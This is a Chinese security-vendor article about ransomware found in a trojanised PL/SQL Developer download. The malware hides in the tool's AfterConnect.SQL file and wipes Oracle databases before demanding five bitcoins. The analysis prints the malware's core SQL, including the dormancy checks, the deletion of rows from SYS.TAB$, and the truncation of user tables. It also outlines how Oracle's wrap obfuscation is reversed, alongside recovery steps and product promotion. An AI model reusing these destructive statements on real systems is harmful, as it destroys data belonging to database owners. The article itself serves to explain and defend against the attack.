比特幣勒索攻擊卷土重來丨安華金和提供免費(fèi)檢測及修復(fù)工具

“你的數(shù)據(jù)庫已被鎖死,發(fā)送5個比特幣到這個地址!”

近期,比特幣勒索攻擊卷土重來,有用戶在登陸Oracle數(shù)據(jù)庫時出現(xiàn)如下勒索警告信息,被要求上交5個比特幣來換取解鎖數(shù)據(jù)庫的服務(wù)。

安華金和數(shù)據(jù)庫攻防實驗室經(jīng)過排查發(fā)現(xiàn),原來是有人在CSDN等網(wǎng)站上,故意散播攜帶勒索病毒的PL SQL Developer軟件程序,引誘下載從而發(fā)起勒索攻擊。勒索者此次攻擊的目標(biāo)人群是數(shù)據(jù)庫管理人員(DBA),而PL SQL Developer軟件幾乎是每個DBA必備的工具,同時,CSDN又是技術(shù)人員最常光顧的網(wǎng)站之一,這大大提高了本次勒索攻擊的危害范圍?,F(xiàn)已確認(rèn)存在問題的PL SQL Developer版本是11.0.6中文綠色注冊版(免Oracle11g客戶端)。請各位不要再去下載,并檢查自己是否使用過這個名字的PL SQL Developer.

全面解析攻擊原理

我們發(fā)現(xiàn),存在問題的PL SQL Developer解壓后主目錄的AfterConnect.SQL文件存在異常。官方的PL SQL Developer下AfterConnect.SQL是空文件,而異常的AfterConnect.SQL中存在惡意存儲過程和觸發(fā)器總共35KB左右。

打開文件后可以看到包含4個存儲過程和3個觸發(fā)器。

存儲過程分別是:

DBMS_SUPPORT_INTERNAL

DBMS_SYSTEM_INTERNAL

DBMS_STANDARD_FUN9

DBMS_CORE_INTERNAL

觸發(fā)器則是:

數(shù)據(jù)庫啟動后觸發(fā)器DBMS_SUPPORT_INTERNAL

數(shù)據(jù)庫登陸觸發(fā)器DBMS_SYSTEM_INTERNAL和DBMS_CORE_INTERNAL

直接打開AfterConnect.SQL顯示一串亂碼和3個觸發(fā)器,但嚴(yán)格講這并不是亂碼,而是按照Oracle wrap加密后的結(jié)果。Oracle數(shù)據(jù)庫內(nèi)置了wrap對應(yīng)的解密算法。勒索者雖然是以密文形式傳入數(shù)據(jù)庫保存為存儲過程,但在執(zhí)行過程中oracle數(shù)據(jù)庫會自動把它轉(zhuǎn)回明文執(zhí)行。

上面AfterConnect.SQL文件中的3個觸發(fā)器和4個存儲過程都會在PL SQL Developer連接數(shù)據(jù)庫的過程中,被當(dāng)前用戶創(chuàng)建在數(shù)據(jù)庫服務(wù)器中。

這三個觸發(fā)器可以在數(shù)據(jù)庫啟動后執(zhí)行DBMS_SUPPORT_INTERNAL,或者在數(shù)據(jù)庫登陸后執(zhí)行DBMS_SYSTEM_INTERNAL或DBMS_CORE_INTERNAL.觸發(fā)器本身沒有問題,問題出在這三個主要的存儲過程上。在我們發(fā)現(xiàn)的樣本中, DBMS_SYSTEM_INTERNAL中只有彈窗語句,并未發(fā)現(xiàn)明顯修改數(shù)據(jù)庫的語句,而DBMS_SUPPORT_INTERNAL和DBMS_CORE_INTERNAL這兩個存儲過程中均有明顯的修改數(shù)據(jù)庫行為。所以DBMS_SUPPORT_INTERNAL和DBMS_CORE_INTERNAL這兩個存儲過程是此次分析的重點。

DBMS_SUPPORT_INTERNAL的主要核心部分是下圖中標(biāo)號的兩組SQL.

第1條SQL語句: SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE; IF (DATE1>=1200)

語句含義:根據(jù)創(chuàng)建數(shù)據(jù)庫時間和當(dāng)前時間差值做決定:是立刻入侵?jǐn)?shù)據(jù)庫實施勒索,還是先保持潛伏直到條件成熟再爆發(fā)進(jìn)行勒索。判斷條件為數(shù)據(jù)庫實例創(chuàng)建時間距今是否滿足1200天,一旦滿足并重啟數(shù)據(jù)庫實例則執(zhí)行第2條SQL語句。

第2條SQL語句:EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system  as select * from sys.tab$';DELETE SYS.TAB$ WHERE DATAOBJ# IN (SELECT DATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ;

語句含義:勒索者首先對tab$中的文件進(jìn)行備份,然后再刪除tab$表中的部分內(nèi)容清理數(shù)據(jù)庫的備份文件后,向用戶彈窗實施勒索。

存儲過程DBMS_CORE_INTERNAL和DBMS_SUPPORT_INTERNAL采用了不同的思路,核心部分為下圖中標(biāo)號的地方。

第1條語句:SELECT NVL(TO_CHAR(SYSDATE-MIN(LAST_ANALYZED)),0) INTO DATE1 FROM ALL_TABLES WHERE TABLESPACE_NAME NOT IN (‘SYSTEM','SYSAUX','EXAMPLE’);IF (DATE1>=1200) THEN

語句含義:根據(jù)表空間中表的最小統(tǒng)計信息收集時間和當(dāng)前時間比決定,是入侵?jǐn)?shù)據(jù)庫實施勒索,還是先保持潛伏直到條件成熟再進(jìn)行勒索。判斷依據(jù)為:當(dāng)收集時間滿足1200天的條件則執(zhí)行第2條SQL語句。

第2條語句:STAT:='truncate table '||USER||'.'||I.TABLE_NAME

語句含義:勒索者對表執(zhí)行truncate操作,清掉用戶數(shù)據(jù),最后向用戶彈窗實施勒索。

修復(fù)方法:治標(biāo)或是治本

雖然是一樣的報錯信息,但不一樣的原因,解決起來也不可混為一談。針對DBMS_SUPPORT_INTERNAL的問題,把備份在ORACHK'||SUBSTR(SYS_GUID,10)中的備份信息插入回到$tab中。就可以修復(fù)DBMS_SUPPORT_INTERNAL帶來的危害。而對于DBMS_CORE_INTERNAL則需要動用oracle數(shù)據(jù)庫的dul工具恢復(fù)。

如果我們只把此次數(shù)據(jù)庫勒索事件看成一個孤立的事件,至此治標(biāo)的方法已經(jīng)介紹完畢,但這種后知后覺的修復(fù)方法,無法避免數(shù)據(jù)庫再次被類似攻擊所入侵,數(shù)據(jù)庫的安全防護(hù),絕不能采用頭疼治頭,腳痛治腳的思路,治標(biāo)還是治本?大家心中早有答案,采用有效手段防御類似攻擊才是解決問題的根本思路。

防護(hù)手段:定期安全檢查+事中安全防護(hù),聯(lián)動防護(hù),形成安全閉環(huán)

大部分勒索、后門類攻擊都會存在一定的潛伏期,定期安全檢查可以在攻擊行為爆發(fā)前,發(fā)現(xiàn)潛伏在數(shù)據(jù)庫中的威脅,防止攻擊爆發(fā)后的數(shù)據(jù)資產(chǎn)損失。

定期安全檢查

安華金和數(shù)據(jù)庫漏洞掃描的授權(quán)檢測中含有專門針對數(shù)據(jù)庫中異常包、存儲過程、觸發(fā)器、各項參數(shù)以及后門的檢測語句。這些檢測語句可以幫助用戶及早發(fā)現(xiàn)潛在的威脅。目前,安華金和數(shù)據(jù)庫漏洞掃描系統(tǒng)已經(jīng)可以準(zhǔn)確檢測出數(shù)據(jù)庫是否被此次勒索軟件入侵,并給出用戶修復(fù)建議。

事中安全防護(hù)

漏掃系統(tǒng)能發(fā)現(xiàn)已經(jīng)存在的安全威脅,而另一方面,如何抵御未知的安全威脅?安華金和數(shù)據(jù)庫防火墻具備這樣的能力?;趯QL語句的精確解析能力,并支持?jǐn)?shù)據(jù)庫解密功能,能夠在未知風(fēng)險到來的第一時間,有效攔截、阻斷攻擊。

安華金和數(shù)據(jù)庫防火墻可以對oracle數(shù)據(jù)庫的密文存儲過程進(jìn)行解密操作。當(dāng)?shù)谌焦ぞ呦騩racle發(fā)送大量數(shù)據(jù),其中很多數(shù)據(jù)會以加密包的形式發(fā)送。只有準(zhǔn)確破解加密包的內(nèi)容才能進(jìn)行精確的語法分析。Oracle的加密過程warp可以通過oracle提供的函數(shù)完成,但解密方法oracle并不提供直接函數(shù),需要用戶自行實現(xiàn)。解密并不復(fù)雜,只是把上面wrap的過程反過來,首先通過網(wǎng)絡(luò)分析將所有斷包組成一個整包,進(jìn)行base64解碼。解碼后的每個字節(jié)根據(jù)固定的替換表進(jìn)行單獨替換,替換后的字符串按照LZ算法進(jìn)行解壓即可以獲得加密存儲過程的明文。工作流程如下:

這種準(zhǔn)確破解加密存儲過程的能力,不但在本次勒索案例中十分關(guān)鍵,也是防止第三方工具向數(shù)據(jù)庫發(fā)送惡意存儲過程的關(guān)鍵。如果不能解決解密問題,也可以只對加密的惡意存儲過程進(jìn)行指紋比對,但指紋比對的誤報和漏報率偏高(稍微調(diào)整下參數(shù)內(nèi)容或名稱就會使指紋匹配無法準(zhǔn)確識別惡意包)。

基于SQL語法解析,能夠判斷存儲過程或數(shù)據(jù)包中是否存在惡意行為。在unwrap的支撐下數(shù)據(jù)庫防火墻能夠把所有去向數(shù)據(jù)庫的加密存儲過程明文化,對明文進(jìn)行SQL語法分解析,進(jìn)行惡意行為語句的特征匹配。并根據(jù)整個SQL語句包及前后關(guān)聯(lián)語句環(huán)境的SQL行為進(jìn)行分析。當(dāng)整個SQL語句包中存在多個必要點命中安全規(guī)則時,則判斷該語句包存在惡意行為,進(jìn)行主動阻斷,并向相關(guān)人員進(jìn)行危險告警,完成對數(shù)據(jù)庫攻擊的主動防護(hù)。

安華金和數(shù)據(jù)庫漏洞掃描系統(tǒng)側(cè)重于整個防護(hù)過程中的已知隱患掃描,而數(shù)據(jù)庫防火墻側(cè)重特征隱患攔截。 兩者側(cè)重不同卻能夠相互聯(lián)動,數(shù)據(jù)庫防火墻攔截下一個新型隱患,數(shù)據(jù)庫漏掃則根據(jù)這個新型的特征更新掃描檢測項,一旦數(shù)據(jù)庫防火墻未發(fā)現(xiàn),但漏掃發(fā)現(xiàn)安全隱患,則數(shù)據(jù)庫防火墻根據(jù)隱患特征優(yōu)化防護(hù)策略,進(jìn)一步降低誤報、漏報率,協(xié)同防護(hù)形成完整安全閉環(huán)。

針對本次攻擊,安華金和提供檢測工具與修復(fù)方法

如果您的數(shù)據(jù)庫已經(jīng)遭受攻擊,請進(jìn)行如下修復(fù)操作:

針對DBMS_SUPPORT_INTERNAL存儲過程的問題,請把備份在ORACHK'||SUBSTR(SYS_GUID,10)中的備份信息插入回到$tab中進(jìn)行自救,而DBMS_CORE_INTERNAL存儲過程則需要動用oracle的dul工具恢復(fù)數(shù)據(jù)。

針對正在使用PL SQL Developer11.0.6中文綠色注冊版(免Oracle11g客戶端)的用戶,病毒可能已經(jīng)潛伏,安華金和可提供免費(fèi)檢測工具及相應(yīng)修復(fù)方法,請及時進(jìn)行病毒排查與清理。

可登陸安華金和官方網(wǎng)站獲取檢測工具:http://www.dbsec.cn/operations/download.html

同時,對于已購買安華金和漏洞掃描系統(tǒng)的用戶,產(chǎn)品現(xiàn)已支持對此次勒索攻擊的安全檢測功能,后續(xù)將對用戶的設(shè)備進(jìn)行版本更新。

極客網(wǎng)企業(yè)會員

免責(zé)聲明:本網(wǎng)站內(nèi)容主要來自原創(chuàng)、合作伙伴供稿和第三方自媒體作者投稿,凡在本網(wǎng)站出現(xiàn)的信息,均僅供參考。本網(wǎng)站將盡力確保所提供信息的準(zhǔn)確性及可靠性,但不保證有關(guān)資料的準(zhǔn)確性及可靠性,讀者在使用前請進(jìn)一步核實,并對任何自主決定的行為負(fù)責(zé)。本網(wǎng)站對有關(guān)資料所引致的錯誤、不確或遺漏,概不負(fù)任何法律責(zé)任。任何單位或個人認(rèn)為本網(wǎng)站中的網(wǎng)頁或鏈接內(nèi)容可能涉嫌侵犯其知識產(chǎn)權(quán)或存在不實內(nèi)容時,應(yīng)及時向本網(wǎng)站提出書面權(quán)利通知或不實情況說明,并提供身份證明、權(quán)屬證明及詳細(xì)侵權(quán)或不實情況證明。本網(wǎng)站在收到上述法律文件后,將會依法盡快聯(lián)系相關(guān)文章源頭核實,溝通刪除相關(guān)內(nèi)容或斷開相關(guān)鏈接。

2016-11-21
比特幣勒索攻擊卷土重來丨安華金和提供免費(fèi)檢測及修復(fù)工具
近期,比特幣勒索攻擊卷土重來,有用戶在登陸Oracle數(shù)據(jù)庫時出現(xiàn)如下勒索警告信息,被要求上交5個比特幣來換取解鎖數(shù)據(jù)庫的服務(wù)。

長按掃碼 閱讀全文